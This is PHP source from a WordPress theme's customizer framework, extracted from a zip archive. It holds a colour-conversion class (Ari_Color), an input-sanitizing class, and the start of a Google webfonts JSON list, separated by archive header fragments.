class Ari_Color {

	/**
	 * Each color is a separate instance of this class.
	 * Each instance is stored as an object in this array.
	 * Allows easier access & performance.
	 *
	 * @static
	 * @access public
	 * @var array
	 */
	public static $instances = array();

	/**
	 * The color as defined in the input
	 *
	 * @access public
	 * @var string|array
	 */
	public $color;

	/**
	 * The mode of this color (hex/rgb/rgba etc.).
	 *
	 * @access public
	 * @var string
	 */
	public $mode = 'hex';

	/**
	 * An array of word-defined colors.
	 * Example: white = #ffffff
	 *
	 * @access public
	 * @var array
	 */
	public $word_colors = array();

	/**
	 * The HEX value of the color.
	 *
	 * @access public
	 * @var string
	 */
	public $hex;

	/**
	 * Red color
	 *
	 * @access public
	 * @var int|double
	 */
	public $red = 0;

	/**
	 * Green Color
	 *
	 * @access public
	 * @var int|double
	 */
	public $green = 0;

	/**
	 * Blue Color
	 *
	 * @access public
	 * @var int|double
	 */
	public $blue = 0;

	/**
	 * Alpha
	 *
	 * @access public
	 * @var int|float
	 */
	public $alpha = 1;

	/**
	 * Hue
	 *
	 * @access public
	 * @var int|float
	 */
	public $hue;

	/**
	 * Saturation
	 *
	 * @access public
	 * @var int|float
	 */
	public $saturation;

	/**
	 * @access public
	 * @var int|float
	 */
	public $lightness;

	/**
	 * @access public
	 * @var int|float
	 */
	public $chroma;

	/**
	 * @access public
	 * @var array
	 */
	public $brightness = array();

	/**
	 * @access public
	 * @var int|float
	 */
	public $luminance;

	/**
	 * The class constructor
	 *
	 * @param $color    string|array    The defined color.
	 * @param $mode     string          Color mode. Set to 'auto' if you want this auto-detected.
	 */
	private function __construct( $color = '', $mode = 'auto' ) {
		$this->color = $color;
		if ( ! method_exists( $this, 'from_' . $mode ) ) {
			$mode = $this->get_mode( $color );
		}
		if ( null === $mode ) {
			return;
		}
		$this->mode = $mode;
		$method     = 'from_' . $mode;
		// call the from_{$color_mode} method
		$this->$method();
	}

	/**
	 * Gets an instance for this color.
	 * We use a separate instance per color
	 * because there's no need to create a completely new instance each time we call this class.
	 * Instead using instances helps us improve performance & footprint.
	 *
	 * @param $color string|array
	 * @param $mode  string
	 *
	 * @return ariColor (object)
	 */
	public static function newColor( $color, $mode = 'auto' ) {
		// get an md5 for this color
		$color_md5 = ( is_array( $color ) ) ? md5( json_encode( $color ) . $mode ) : md5( $color . $mode );
		// Set the instance if it does not already exist.
		if ( ! isset( self::$instances[ $color_md5 ] ) ) {
			self::$instances[ $color_md5 ] = new self( $color, $mode );
		}

		return self::$instances[ $color_md5 ];
	}

	/**
	 * Allows us to get a new instance by modifying a property of the existing one.
	 *
	 * @param $property string  can be one of the following:
	 *                          red,
	 *                          green,
	 *                          blue,
	 *                          alpha,
	 *                          hue,
	 *                          saturation,
	 *                          lightness,
	 *                          brightness
	 * @param $value int|float|string the new value
	 *
	 * @return ariColor|null
	 */
	public function getNew( $property = '', $value = '' ) {
		// Check if we're changing any of the rgba values
		if ( in_array( $property, array( 'red', 'green', 'blue', 'alpha' ) ) ) {
			$this->$property = $value;
			$this->red       = max( 0, min( 255, $this->red ) );
			$this->green     = max( 0, min( 255, $this->green ) );
			$this->blue      = max( 0, min( 255, $this->blue ) );
			$this->alpha     = max( 0, min( 255, $this->alpha ) );

			return self::newColor( 'rgba(' . $this->red . ',' . $this->green . ',' . $this->blue . ',' . $this->alpha . ')', 'rgba' );
		} // Check if we're changing any of the hsl values
		elseif ( in_array( $property, array( 'hue', 'saturation', 'lightness' ) ) ) {
			$this->$property  = $value;
			$this->hue        = max( 0, min( 360, $this->hue ) );
			$this->saturation = max( 0, min( 100, $this->saturation ) );
			$this->lightness  = max( 0, min( 100, $this->lightness ) );

			return self::newColor( 'hsla(' . $this->hue . ',' . $this->saturation . '%,' . $this->lightness . '%,' . $this->alpha . ')', 'hsla' );
		} // Check if we're changing the brightness
		elseif ( 'brightness' == $property ) {
			if ( $value < $this->brightness['total'] ) {
				$this->red   = max( 0, min( 255, $this->red - ( $this->brightness['total'] - $value ) ) );
				$this->green = max( 0, min( 255, $this->green - ( $this->brightness['total'] - $value ) ) );
				$this->blue  = max( 0, min( 255, $this->blue - ( $this->brightness['total'] - $value ) ) );
			} elseif ( $value > $this->brightness['total'] ) {
				$this->red   = max( 0, min( 255, $this->red + ( $value - $this->brightness['total'] ) ) );
				$this->green = max( 0, min( 255, $this->green + ( $value - $this->brightness['total'] ) ) );
				$this->blue  = max( 0, min( 255, $this->blue + ( $value - $this->brightness['total'] ) ) );
			} else {
				// if it's not smaller and it's not greater, then it's equal.
				return $this;
			}

			return self::newColor( 'rgba(' . $this->red . ',' . $this->green . ',' . $this->blue . ',' . $this->alpha . ')' );
		}

		return null;
	}

	/**
	 * Figure out what mode we're using.
	 *
	 * @param string|array
	 * @param string $color
	 *
	 * @return string|null
	 */
	public function get_mode( $color ) {
		// Check if value is an array
		if ( is_array( $color ) ) {
			// does the array have an 'rgba' key?
			if ( isset( $color['rgba'] ) ) {
				$this->color = $color['rgba'];

				return 'rgba';
			} // Does the array have a 'color' key?
			elseif ( isset( $color['color'] ) ) {
				$this->color = $color['color'];

				return 'hex';
			}
			// is this a simple array with 4 items?
			if ( 4 == count( $color ) && isset( $color[0] ) && isset( $color[1] ) && isset( $color[2] ) && isset( $color[3] ) ) {
				$this->color = 'rgba(' . intval( $color[0] ) . ',' . intval( $color[1] ) . ',' . intval( $color[2] ) . ',' . intval( $color[3] ) . ')';

				return 'rgba';
			} // Is this a simple array with 3 items?
			elseif ( 3 == count( $color ) && isset( $color[0] ) && isset( $color[1] ) && isset( $color[2] ) ) {
				$this->color = 'rgba(' . intval( $color[0] ) . ',' . intval( $color[1] ) . ',' . intval( $color[2] ) . ',' . '1)';

				return 'rgba';
			}
			// Check for other keys in the array and get values from there
			$finders_keepers = array(
				'r'       => 'red',
				'g'       => 'green',
				'b'       => 'blue',
				'a'       => 'alpha',
				'red'     => 'red',
				'green'   => 'green',
				'blue'    => 'blue',
				'alpha'   => 'alpha',
				'opacity' => 'alpha',
			);
			$found           = false;
			foreach ( $finders_keepers as $finder => $keeper ) {
				if ( isset( $color[ $finder ] ) ) {
					$found         = true;
					$this->$keeper = $color[ $finder ];
				}
			}
			// We failed, return null.
			if ( ! $found ) {
				return null;
			}
			// We did not fail, so use rgba values recovered above.
			$this->color = 'rgba(' . $this->red . ',' . $this->green . ',' . $this->blue . ',' . $this->alpha . ')';

			return 'rgba';
		}
		// If we got this far, it's not an array.

		// Check for key identifiers in the value
		$finders_keepers = array(
			'#'    => 'hex',
			'rgba' => 'rgba',
			'rgb'  => 'rgb',
			'hsla' => 'hsla',
			'hsl'  => 'hsl',
		);
		foreach ( $finders_keepers as $finder => $keeper ) {
			if ( false !== strrpos( $color, $finder ) ) {
				return $keeper;
			}
		}
		// Perhaps we're using a word like "orange"?
		$wordcolors = $this->get_word_colors();
		if ( array_key_exists( $color, $wordcolors ) ) {
			$this->color = '#' . $wordcolors[ $color ];

			return 'hex';
		}

		// fallback to hex.
		return 'hex';
	}

	/**
	 * Starts with a HEX color and calculates all other properties.
	 *
	 * @return void
	 */
	private function from_hex() {

		if ( ! function_exists( 'sanitize_hex_color' ) ) {
			require_once ABSPATH . WPINC . '/class-wp-customize-manager.php';
		}
		// Is this perhaps a word-color?
		$word_colors = $this->get_word_colors();
		if ( array_key_exists( $this->color, $word_colors ) ) {
			$this->color = '#' . $word_colors[ $this->color ];
		}
		// Sanitize color
		$this->hex = sanitize_hex_color( maybe_hash_hex_color( $this->color ) );
		$hex       = ltrim( $this->hex, '#' );
		// Make sure we have 6 digits for the below calculations
		if ( 3 == strlen( $hex ) ) {
			$hex = ltrim( $this->hex, '#' );
			$hex = substr( $hex, 0, 1 ) . substr( $hex, 0, 1 ) . substr( $hex, 1, 1 ) . substr( $hex, 1, 1 ) . substr( $hex, 2, 1 ) . substr( $hex, 2, 1 );
		}
		// Set red, green, blue
		$this->red   = hexdec( substr( $hex, 0, 2 ) );
		$this->green = hexdec( substr( $hex, 2, 2 ) );
		$this->blue  = hexdec( substr( $hex, 4, 2 ) );
		$this->alpha = 1;
		// set other color properties
		$this->set_brightness();
		$this->set_hsl();
		$this->set_luminance();

	}

	/**
	 * Starts with an RGB color and calculates all other properties.
	 *
	 * @return void
	 */
	private function from_rgb() {
		$value = explode( ',', str_replace( array( ' ', 'rgb', '(', ')' ), '', $this->color ) );
		// set red, green, blue
		$this->red   = ( isset( $value[0] ) ) ? intval( $value[0] ) : 255;
		$this->green = ( isset( $value[1] ) ) ? intval( $value[1] ) : 255;
		$this->blue  = ( isset( $value[2] ) ) ? intval( $value[2] ) : 255;
		$this->alpha = 1;
		// set the hex
		$this->hex = $this->rgb_to_hex( $this->red, $this->green, $this->blue );
		// set other color properties
		$this->set_brightness();
		$this->set_hsl();
		$this->set_luminance();
	}

	/**
	 * Starts with an RGBA color and calculates all other properties.
	 *
	 * @return void
	 */
	private function from_rgba() {
		// Set r, g, b, a properties
		$value       = explode( ',', str_replace( array( ' ', 'rgba', '(', ')' ), '', $this->color ) );
		$this->red   = ( isset( $value[0] ) ) ? intval( $value[0] ) : 255;
		$this->green = ( isset( $value[1] ) ) ? intval( $value[1] ) : 255;
		$this->blue  = ( isset( $value[2] ) ) ? intval( $value[2] ) : 255;
		$this->alpha = ( isset( $value[3] ) ) ? filter_var( $value[3], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) : 1;
		// limit values in the range of 0 - 255
		$this->red   = max( 0, min( 255, $this->red ) );
		$this->green = max( 0, min( 255, $this->green ) );
		$this->blue  = max( 0, min( 255, $this->blue ) );
		// limit values 0 - 1
		$this->alpha = max( 0, min( 1, $this->alpha ) );
		// set hex
		$this->hex = $this->rgb_to_hex( $this->red, $this->green, $this->blue );
		// set other color properties
		$this->set_brightness();
		$this->set_hsl();
		$this->set_luminance();
	}

	/**
	 * Starts with an HSL color and calculates all other properties.
	 *
	 * @return void
	 */
	private function from_hsl() {
		$value            = explode( ',', str_replace( array( ' ', 'hsl', '(', ')', '%' ), '', $this->color ) );
		$this->hue        = $value[0];
		$this->saturation = $value[1];
		$this->lightness  = $value[2];
		$this->from_hsl_array();
	}

	/**
	 * Starts with an HSLA color and calculates all other properties.
	 *
	 * @return void
	 */
	private function from_hsla() {
		$value            = explode( ',', str_replace( array( ' ', 'hsla', '(', ')', '%' ), '', $this->color ) );
		$this->hue        = $value[0];
		$this->saturation = $value[1];
		$this->lightness  = $value[2];
		$this->alpha      = $value[3];
		$this->from_hsl_array();
	}

	/**
	 * Generates the HEX value of a color given values for $red, $green, $blue
	 *
	 * @param $red   int|string
	 * @param $green int|string
	 * @param $blue  int|string
	 *
	 * @return string
	 */
	private function rgb_to_hex( $red, $green, $blue ) {
		// get hex values properly formatted
		$hex_red   = $this->dexhex_double_digit( $red );
		$hex_green = $this->dexhex_double_digit( $green );
		$hex_blue  = $this->dexhex_double_digit( $blue );

		return '#' . $hex_red . $hex_green . $hex_blue;
	}

	/**
	 * Convert a decimal value to hex and make sure it's 2 characters
	 *
	 * @param $value int|string
	 *
	 * @return string
	 */
	private function dexhex_double_digit( $value ) {
		$value = ( 9 >= $value ) ? '0' . $value : dechex( $value );
		if ( 1 == strlen( $value ) ) {
			$value .= $value;
		}

		return $value;
	}

	/**
	 * Calculates the red, green, blue values of an HSL color
	 * @see https://gist.github.com/brandonheyer/5254516
	 */
	private function from_hsl_array() {
		$h = $this->hue / 360;
		$s = $this->saturation / 100;
		$l = $this->lightness / 100;

		$r = $l;
		$g = $l;
		$b = $l;
		$v = ( $l <= 0.5 ) ? ( $l * ( 1.0 + $s ) ) : ( $l + $s - $l * $s );
		if ( $v > 0 ) {
			$m       = $l + $l - $v;
			$sv      = ( $v - $m ) / $v;
			$h       *= 6.0;
			$sextant = floor( $h );
			$fract   = $h - $sextant;
			$vsf     = $v * $sv * $fract;
			$mid1    = $m + $vsf;
			$mid2    = $v - $vsf;
			switch ( $sextant ) {
				case 0:
					$r = $v;
					$g = $mid1;
					$b = $m;
					break;
				case 1:
					$r = $mid2;
					$g = $v;
					$b = $m;
					break;
				case 2:
					$r = $m;
					$g = $v;
					$b = $mid1;
					break;
				case 3:
					$r = $m;
					$g = $mid2;
					$b = $v;
					break;
				case 4:
					$r = $mid1;
					$g = $m;
					$b = $v;
					break;
				case 5:
					$r = $v;
					$g = $m;
					$b = $mid2;
					break;
			}
		}
		$this->red   = round( $r * 255, 0 );
		$this->green = round( $g * 255, 0 );
		$this->blue  = round( $b * 255, 0 );

		$this->hex = $this->rgb_to_hex( $this->red, $this->green, $this->blue );
		$this->set_luminance();
	}

	/**
	 * Returns a CSS-formatted value for colors.
	 *
	 * @param $mode string
	 *
	 * @return string
	 */
	public function toCSS( $mode = 'hex' ) {

		$value = '';

		switch ( $mode ) {
			case 'hex':
				$value = strtoupper( $this->hex );
				break;
			case 'rgba':
				$value = 'rgba(' . $this->red . ',' . $this->green . ',' . $this->blue . ',' . $this->alpha . ')';
				break;
			case 'rgb':
				$value = 'rgb(' . $this->red . ',' . $this->green . ',' . $this->blue . ')';
				break;
			case 'hsl':
				$value = 'hsl(' . $this->hue . ',' . round( $this->saturation ) . '%,' . round( $this->lightness ) . '%)';
				break;
			case 'hsla':
				$value = 'hsla(' . $this->hue . ',' . round( $this->saturation ) . '%,' . round( $this->lightness ) . '%,' . $this->alpha . ')';
				break;
		}

		return $value;
	}

	/**
	 * Sets the HSL values of a color based on the values of red, green, blue
	 */
	private function set_hsl() {
		$red   = $this->red / 255;
		$green = $this->green / 255;
		$blue  = $this->blue / 255;

		$max = max( $red, $green, $blue );
		$min = min( $red, $green, $blue );

		$lightness  = ( $max + $min ) / 2;
		$difference = $max - $min;

		if ( 0 == $difference ) {
			$hue = $saturation = 0;
		} else {
			$saturation = $difference / ( 1 - abs( 2 * $lightness - 1 ) );
			switch ( $max ) {
				case $red:
					$hue = 60 * fmod( ( ( $green - $blue ) / $difference ), 6 );
					if ( $blue > $green ) {
						$hue += 360;
					}
					break;
				case $green:
					$hue = 60 * ( ( $blue - $red ) / $difference + 2 );
					break;
				case $blue:
					$hue = 60 * ( ( $red - $green ) / $difference + 4 );
					break;
			}
		}

		$this->hue        = round( $hue );
		$this->saturation = round( $saturation * 100 );
		$this->lightness  = round( $lightness * 100 );
	}

	/**
	 * Sets the brightness of a color based on the values of red, green, blue
	 */
	private function set_brightness() {
		$this->brightness = array(
			'red'   => round( $this->red * .299 ),
			'green' => round( $this->green * .587 ),
			'blue'  => round( $this->blue * .114 ),
			'total' => intval( ( $this->red * .299 ) + ( $this->green * .587 ) + ( $this->blue * .114 ) ),
		);
	}

	/**
	 * Sets the luminance of a color (range:0-255) based on the values of red, green, blue
	 */
	private function set_luminance() {
		$lum             = ( 0.2126 * $this->red ) + ( 0.7152 * $this->green ) + ( 0.0722 * $this->blue );
		$this->luminance = round( $lum );
	}

	/**
	 * Gets an array of all the wordcolors
	 *
	 * @return array
	 */
	private function get_word_colors() {
		return array(
			'aliceblue'            => 'F0F8FF',
			'antiquewhite'         => 'FAEBD7',
			'aqua'                 => '00FFFF',
			'aquamarine'           => '7FFFD4',
			'azure'                => 'F0FFFF',
			'beige'                => 'F5F5DC',
			'bisque'               => 'FFE4C4',
			'black'                => '000000',
			'blanchedalmond'       => 'FFEBCD',
			'blue'                 => '0000FF',
			'blueviolet'           => '8A2BE2',
			'brown'                => 'A52A2A',
			'burlywood'            => 'DEB887',
			'cadetblue'            => '5F9EA0',
			'chartreuse'           => '7FFF00',
			'chocolate'            => 'D2691E',
			'coral'                => 'FF7F50',
			'cornflowerblue'       => '6495ED',
			'cornsilk'             => 'FFF8DC',
			'crimson'              => 'DC143C',
			'cyan'                 => '00FFFF',
			'darkblue'             => '00008B',
			'darkcyan'             => '008B8B',
			'darkgoldenrod'        => 'B8860B',
			'darkgray'             => 'A9A9A9',
			'darkgreen'            => '006400',
			'darkgrey'             => 'A9A9A9',
			'darkkhaki'            => 'BDB76B',
			'darkmagenta'          => '8B008B',
			'darkolivegreen'       => '556B2F',
			'darkorange'           => 'FF8C00',
			'darkorchid'           => '9932CC',
			'darkred'              => '8B0000',
			'darksalmon'           => 'E9967A',
			'darkseagreen'         => '8FBC8F',
			'darkslateblue'        => '483D8B',
			'darkslategray'        => '2F4F4F',
			'darkslategrey'        => '2F4F4F',
			'darkturquoise'        => '00CED1',
			'darkviolet'           => '9400D3',
			'deeppink'             => 'FF1493',
			'deepskyblue'          => '00BFFF',
			'dimgray'              => '696969',
			'dimgrey'              => '696969',
			'dodgerblue'           => '1E90FF',
			'firebrick'            => 'B22222',
			'floralwhite'          => 'FFFAF0',
			'forestgreen'          => '228B22',
			'fuchsia'              => 'FF00FF',
			'gainsboro'            => 'DCDCDC',
			'ghostwhite'           => 'F8F8FF',
			'gold'                 => 'FFD700',
			'goldenrod'            => 'DAA520',
			'gray'                 => '808080',
			'green'                => '008000',
			'greenyellow'          => 'ADFF2F',
			'grey'                 => '808080',
			'honeydew'             => 'F0FFF0',
			'hotpink'              => 'FF69B4',
			'indianred'            => 'CD5C5C',
			'indigo'               => '4B0082',
			'ivory'                => 'FFFFF0',
			'khaki'                => 'F0E68C',
			'lavender'             => 'E6E6FA',
			'lavenderblush'        => 'FFF0F5',
			'lawngreen'            => '7CFC00',
			'lemonchiffon'         => 'FFFACD',
			'lightblue'            => 'ADD8E6',
			'lightcoral'           => 'F08080',
			'lightcyan'            => 'E0FFFF',
			'lightgoldenrodyellow' => 'FAFAD2',
			'lightgray'            => 'D3D3D3',
			'lightgreen'           => '90EE90',
			'lightgrey'            => 'D3D3D3',
			'lightpink'            => 'FFB6C1',
			'lightsalmon'          => 'FFA07A',
			'lightseagreen'        => '20B2AA',
			'lightskyblue'         => '87CEFA',
			'lightslategray'       => '778899',
			'lightslategrey'       => '778899',
			'lightsteelblue'       => 'B0C4DE',
			'lightyellow'          => 'FFFFE0',
			'lime'                 => '00FF00',
			'limegreen'            => '32CD32',
			'linen'                => 'FAF0E6',
			'magenta'              => 'FF00FF',
			'maroon'               => '800000',
			'mediumaquamarine'     => '66CDAA',
			'mediumblue'           => '0000CD',
			'mediumorchid'         => 'BA55D3',
			'mediumpurple'         => '9370D0',
			'mediumseagreen'       => '3CB371',
			'mediumslateblue'      => '7B68EE',
			'mediumspringgreen'    => '00FA9A',
			'mediumturquoise'      => '48D1CC',
			'mediumvioletred'      => 'C71585',
			'midnightblue'         => '191970',
			'mintcream'            => 'F5FFFA',
			'mistyrose'            => 'FFE4E1',
			'moccasin'             => 'FFE4B5',
			'navajowhite'          => 'FFDEAD',
			'navy'                 => '000080',
			'oldlace'              => 'FDF5E6',
			'olive'                => '808000',
			'olivedrab'            => '6B8E23',
			'orange'               => 'FFA500',
			'orangered'            => 'FF4500',
			'orchid'               => 'DA70D6',
			'palegoldenrod'        => 'EEE8AA',
			'palegreen'            => '98FB98',
			'paleturquoise'        => 'AFEEEE',
			'palevioletred'        => 'DB7093',
			'papayawhip'           => 'FFEFD5',
			'peachpuff'            => 'FFDAB9',
			'peru'                 => 'CD853F',
			'pink'                 => 'FFC0CB',
			'plum'                 => 'DDA0DD',
			'powderblue'           => 'B0E0E6',
			'purple'               => '800080',
			'red'                  => 'FF0000',
			'rosybrown'            => 'BC8F8F',
			'royalblue'            => '4169E1',
			'saddlebrown'          => '8B4513',
			'salmon'               => 'FA8072',
			'sandybrown'           => 'F4A460',
			'seagreen'             => '2E8B57',
			'seashell'             => 'FFF5EE',
			'sienna'               => 'A0522D',
			'silver'               => 'C0C0C0',
			'skyblue'              => '87CEEB',
			'slateblue'            => '6A5ACD',
			'slategray'            => '708090',
			'slategrey'            => '708090',
			'snow'                 => 'FFFAFA',
			'springgreen'          => '00FF7F',
			'steelblue'            => '4682B4',
			'tan'                  => 'D2B48C',
			'teal'                 => '008080',
			'thistle'              => 'D8BFD8',
			'tomato'               => 'FF6347',
			'turquoise'            => '40E0D0',
			'violet'               => 'EE82EE',
			'wheat'                => 'F5DEB3',
			'white'                => 'FFFFFF',
			'whitesmoke'           => 'F5F5F5',
			'yellow'               => 'FFFF00',
			'yellowgreen'          => '9ACD32',
		);
	}
}
PK     N\T$l    0  inc/customizer/framework/util/class-sanitize.phpnu [        <?php
/**
 * Sanitize Customizer Input
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Util;

/**
 * Class Sanitize
 *
 * @package SoledadFW\Util
 */
class Sanitize {
	/**
	 * Sanitize instance
	 *
	 * @var Sanitize
	 */
	private static $instance;

	/**
	 * Sanitize singleton instance
	 *
	 * @return Sanitize
	 */
	public static function get_instance() {
		if ( null === static::$instance ) {
			static::$instance = new static();
		}

		return static::$instance;
	}

	/**
	 * Default sanitize input.
	 *
	 * @param mixed $value value to sanitize.
	 *
	 * @return string|array
	 */
	public function sanitize_input( $value ) {
		if ( is_array( $value ) ) {
			return $this->sanitize_array( $value );
		} else {
			return sanitize_text_field( $value );
		}
	}

	/**
	 * Sanitize URL input
	 *
	 * @param string $value url to be sanitized.
	 *
	 * @return string
	 */
	public function sanitize_url( $value ) {
		return esc_url_raw( $value );
	}

	/**
	 * Filters numeric values.
	 *
	 * @static
	 * @access public
	 *
	 * @param string $value The value to be sanitized.
	 *
	 * @return int|float
	 */
	public static function sanitize_number( $value ) {
		return filter_var( $value, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION );
	}

	/**
	 * Sanitize colors.
	 *
	 * @static
	 * @since 0.8.5
	 *
	 * @param string $value The value to be sanitized.
	 *
	 * @return string
	 */
	public function sanitize_color( $value ) {
		// If the value is empty, then return empty.
		if ( '' === $value ) {
			return '';
		}
		// If transparent, then return 'transparent'.
		if ( is_string( $value ) && 'transparent' === trim( $value ) ) {
			return 'transparent';
		}
		// Instantiate the object.
		$color = Ari_Color::newColor( $value );

		// Return a CSS value, using the auto-detected mode.
		return $color->toCSS( $color->mode );
	}

	/**
	 * Sanitize Array
	 *
	 * @param string $value Array to be sanitized.
	 *
	 * @return array
	 */
	public function sanitize_array( $value ) {
		$value = ( ! is_array( $value ) ) ? explode( ',', $value ) : $value;

		return ( ! empty( $value ) ) ? array_map( 'sanitize_text_field', $value ) : array();
	}

	/**
	 * Sanitize checkbox input value
	 *
	 * @param mixed $value value of checkbox input.
	 *
	 * @return bool
	 */
	public function sanitize_checkbox( $value ) {
		if ( is_null( $value ) ) {
			return false;
		}

		if ( 1 === $value || '1' === $value || true === $value || 'true' === $value || 'on' === $value || 0 === $value || '0' === $value || false === $value || 'false' === $value || 'off' === $value ) {
			return $value;
		}

		return false;
	}

	/**
	 * Sanitize color
	 *
	 * @param string  $value Color value.
	 * @param boolean $hash flag if hash enabled.
	 *
	 * @return null|string
	 */
	public function sanitize_solid_color( $value, $hash = true ) {
		if ( $hash ) {
			return sanitize_hex_color( $value );
		} else {
			return sanitize_hex_color_no_hash( $value );
		}
	}

	/**
	 * Sanitizes typography controls
	 *
	 * @since 2.2.0
	 *
	 * @param array $value The value.
	 *
	 * @return array
	 */
	public static function sanitize_typography( $value ) {
		if ( ! is_array( $value ) ) {
			return array();
		}

		// Escape the font-family.
		if ( isset( $value['font-family'] ) ) {
			$value['font-family'] = esc_attr( $value['font-family'] );
		}

		// Make sure the saved value is "subsets" (plural) and not "subset".
		// This is for compatibility with older versions.
		if ( isset( $value['subset'] ) ) {
			if ( ! empty( $value['subset'] ) ) {
				if ( ! isset( $value['subsets'] ) || empty( $value['subset'] ) ) {
					$value['subsets'] = $value['subset'];
				}
			}
			unset( $value['subset'] );
		}

		// Sanitize the font-size.
		if ( isset( $value['font-size'] ) && ! empty( $value['font-size'] ) ) {
			$value['font-size'] = self::css_dimension( $value['font-size'] );
			if ( is_numeric( $value['font-size'] ) ) {
				$value['font-size'] .= 'px';
			}
		}

		// Sanitize the line-height.
		if ( isset( $value['line-height'] ) && ! empty( $value['line-height'] ) ) {
			$value['line-height'] = self::css_dimension( $value['line-height'] );
		}

		// Sanitize the letter-spacing.
		if ( isset( $value['letter-spacing'] ) && ! empty( $value['letter-spacing'] ) ) {
			$value['letter-spacing'] = self::css_dimension( $value['letter-spacing'] );
			if ( is_numeric( $value['letter-spacing'] ) ) {
				$value['letter-spacing'] .= 'px';
			}
		}

		// Sanitize the text-align.
		if ( isset( $value['text-align'] ) && ! empty( $value['text-align'] ) ) {
			if ( ! in_array( $value['text-align'], array( 'inherit', 'left', 'center', 'right', 'justify' ), true ) ) {
				$value['text-align'] = 'inherit';
			}
		}

		// Sanitize the text-transform.
		if ( isset( $value['text-transform'] ) && ! empty( $value['text-transform'] ) ) {
			if ( ! in_array( $value['text-transform'], array(
				'none',
				'capitalize',
				'uppercase',
				'lowercase',
				'initial',
				'inherit',
			), true ) ) {
				$value['text-transform'] = 'none';
			}
		}

		// Sanitize the color.
		if ( isset( $value['color'] ) && ! empty( $value['color'] ) ) {
			$color          = Ari_Color::newColor( $value['color'] );
			$value['color'] = $color->toCSS( 'hex' );
		}

		return $value;
	}

	/**
	 * Sanitizes css dimensions.
	 *
	 * @static
	 * @access public
	 * @since 2.2.0
	 *
	 * @param string $value The value to be sanitized.
	 *
	 * @return string
	 */
	public static function css_dimension( $value ) {

		// Trim it.
		$value = trim( $value );

		// If the value is round, then return 50%.
		if ( 'round' === $value ) {
			$value = '50%';
		}

		// If the value is empty, return empty.
		if ( '' === $value ) {
			return '';
		}

		// If auto, return auto.
		if ( 'auto' === $value ) {
			return 'auto';
		}

		// Return empty if there are no numbers in the value.
		if ( ! preg_match( '#[0-9]#', $value ) ) {
			return '';
		}

		// If we're using calc() then return the value.
		if ( false !== strpos( $value, 'calc(' ) ) {
			return $value;
		}

		// The raw value without the units.
		$raw_value = self::sanitize_number( $value );
		$unit_used = '';

		// An array of all valid CSS units. Their order was carefully chosen for this evaluation, don't mix it up!!!
		$units = array( 'rem', 'em', 'ex', '%', 'px', 'cm', 'mm', 'in', 'pt', 'pc', 'ch', 'vh', 'vw', 'vmin', 'vmax' );
		foreach ( $units as $unit ) {
			if ( false !== strpos( $value, $unit ) ) {
				$unit_used = $unit;
			}
		}

		// Hack for rem values.
		if ( 'em' === $unit_used && false !== strpos( $value, 'rem' ) ) {
			$unit_used = 'rem';
		}

		return $raw_value . $unit_used;
	}

	/**
	 * By pass
	 *
	 * @param mixed $value pass value.
	 *
	 * @return mixed
	 */
	public function by_pass( $value ) {
		return $value;
	}

}
PK     N\Y  +  inc/customizer/framework/data/webfonts.jsonnu [        {"kind":"webfonts#webfontList","items":[{"family":"ABeeZee","variants":["regular","italic"],"subsets":["latin"],"version":"v14","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/abeezee/v14/esDR31xSG-6AGleN6tKukbcHCpE.ttf","italic":"http://fonts.gstatic.com/s/abeezee/v14/esDT31xSG-6AGleN2tCklZUCGpG-GQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Abel","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/abel/v12/MwQ5bhbm2POE6VhLPJp6qGI.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Abhaya Libre","variants":["regular","500","600","700","800"],"subsets":["latin","latin-ext","sinhala"],"version":"v6","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/abhayalibre/v6/e3tmeuGtX-Co5MNzeAOqinEge0PWovdU4w.ttf","500":"http://fonts.gstatic.com/s/abhayalibre/v6/e3t5euGtX-Co5MNzeAOqinEYj2ryqtxI6oYtBA.ttf","600":"http://fonts.gstatic.com/s/abhayalibre/v6/e3t5euGtX-Co5MNzeAOqinEYo23yqtxI6oYtBA.ttf","700":"http://fonts.gstatic.com/s/abhayalibre/v6/e3t5euGtX-Co5MNzeAOqinEYx2zyqtxI6oYtBA.ttf","800":"http://fonts.gstatic.com/s/abhayalibre/v6/e3t5euGtX-Co5MNzeAOqinEY22_yqtxI6oYtBA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Abril Fatface","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/abrilfatface/v12/zOL64pLDlL1D99S8g8PtiKchm-BsjOLhZBY.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Aclonica","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/aclonica/v11/K2FyfZJVlfNNSEBXGb7TCI6oBjLz.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Acme","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-10-22","files":{"regular":"http://fonts.gstatic.com/s/acme/v11/RrQfboBx-C5_bx3Lb23lzLk.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Actor","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/actor/v10/wEOzEBbCkc5cO3ekXygtUMIO.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Adamina","variants":["regular"],"subsets":["latin"],"version":"v14","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/adamina/v14/j8_r6-DH1bjoc-dwu-reETl4Bno.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Advent 